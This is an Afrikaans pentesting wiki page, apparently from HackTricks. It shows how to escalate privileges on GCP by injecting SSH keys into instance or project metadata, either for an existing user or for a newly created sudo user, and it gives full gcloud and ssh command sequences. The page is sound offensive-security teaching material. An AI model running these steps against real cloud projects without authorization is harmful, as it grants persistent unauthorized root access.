# GCP - Voeg Aangepaste SSH Metadata By

{{#include ../../../../banners/hacktricks-training.md}}

## Wysig die metadata <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>

Metadata-wijziging op 'n instansie kan lei tot **beduidende sekuriteitsrisiko's as 'n aanvaller die nodige toestemmings verkry**.

### **Inkorporering van SSH Sleutels in Aangepaste Metadata**

Op GCP, **Linux stelsels** voer dikwels skripte uit vanaf die [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). 'n Kritieke komponent hiervan is die [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), wat ontwerp is om **gereeld** die instansie metadata-eindpunt na te gaan vir **opdaterings aan die geautoriseerde SSH publieke sleutels**.

Daarom, as 'n aanvaller aangepaste metadata kan wysig, kan hy die daemon laat vind 'n nuwe publieke sleutel, wat verwerk en **geïntegreer sal word in die plaaslike stelsel**. Die sleutel sal bygevoeg word in die `~/.ssh/authorized_keys` lêer van 'n **bestaande gebruiker of moontlik 'n nuwe gebruiker met `sudo` regte skep**, afhangende van die sleutel se formaat. En die aanvaller sal in staat wees om die gasheer te kompromitteer.

### **Voeg SSH sleutel by bestaande bevoorregte gebruiker**

1. **Ondersoek Bestaande SSH Sleutels op die Instansie:**

- Voer die opdrag uit om die instansie en sy metadata te beskryf om bestaande SSH sleutels te vind. Die relevante afdeling in die uitvoer sal onder `metadata` wees, spesifiek die `ssh-keys` sleutel.

```bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
```

- Let op die formaat van die SSH sleutels: die gebruikersnaam kom voor die sleutel, geskei deur 'n dubbelepunt.

2. **Bereid 'n Tekslêer voor vir SSH Sleutel Metadata:**
- Stoor die besonderhede van gebruikersname en hul ooreenstemmende SSH sleutels in 'n tekslêer genaamd `meta.txt`. Dit is noodsaaklik om die bestaande sleutels te behou terwyl nuwe bygevoeg word.
3. **Genereer 'n Nuwe SSH Sleutel vir die Teiken Gebruiker (`alice` in hierdie voorbeeld):**

- Gebruik die `ssh-keygen` opdrag om 'n nuwe SSH sleutel te genereer, en verseker dat die kommentaarveld (`-C`) ooreenstem met die teiken gebruikersnaam.

```bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```

- Voeg die nuwe publieke sleutel by `meta.txt`, wat die formaat naboots wat in die instansie se metadata gevind word.

4. **Werk die Instansie se SSH Sleutel Metadata Op:**

- Pas die opgedateerde SSH sleutel metadata op die instansie toe met die `gcloud compute instances add-metadata` opdrag.

```bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
```

5. **Toegang tot die Instansie met die Nuwe SSH Sleutel:**

- Maak verbinding met die instansie met SSH met die nuwe sleutel, en toegang die skulp in die konteks van die teiken gebruiker (`alice` in hierdie voorbeeld).

```bash
ssh -i ./key alice@localhost
sudo id
```

### **Skep 'n nuwe bevoorregte gebruiker en voeg 'n SSH sleutel by**

As daar geen interessante gebruiker gevind word nie, is dit moontlik om 'n nuwe een te skep wat `sudo` regte gegee sal word:
```bash
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
### SSH sleutels op projekvlak <a href="#sshing-around" id="sshing-around"></a>

Dit is moontlik om die bereik van SSH-toegang tot verskeie Virtuele Masjiene (VM's) in 'n wolkomgewing te verbreed deur **SSH sleutels op projekvlak toe te pas**. Hierdie benadering laat SSH-toegang toe tot enige instansie binne die projek wat nie eksplisiet projekwye SSH sleutels geblokkeer het nie. Hier is 'n samegevatte gids:

1. **Pas SSH Sleutels op die Projekvlak toe:**

- Gebruik die `gcloud compute project-info add-metadata` opdrag om SSH sleutels van `meta.txt` by die projek se metadata te voeg. Hierdie aksie verseker dat die SSH sleutels oor alle VM's in die projek erken word, tensy 'n VM die "Blok projekwye SSH sleutels" opsie geaktiveer het.

```bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```

2. **SSH in Instansies met Projekwye Sleutels:**
- Met projekwye SSH sleutels in plek, kan jy SSH in enige instansie binne die projek. Instansies wat nie projekwye sleutels blokkeer nie, sal die SSH sleutel aanvaar en toegang verleen.
- 'n Direkte metode om in 'n instansie te SSH is deur die `gcloud compute ssh [INSTANCE]` opdrag te gebruik. Hierdie opdrag gebruik jou huidige gebruikersnaam en die SSH sleutels wat op projekvlak gestel is om toegang te probeer verkry.

## Verwysings

- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)

{{#include ../../../../banners/hacktricks-training.md}}
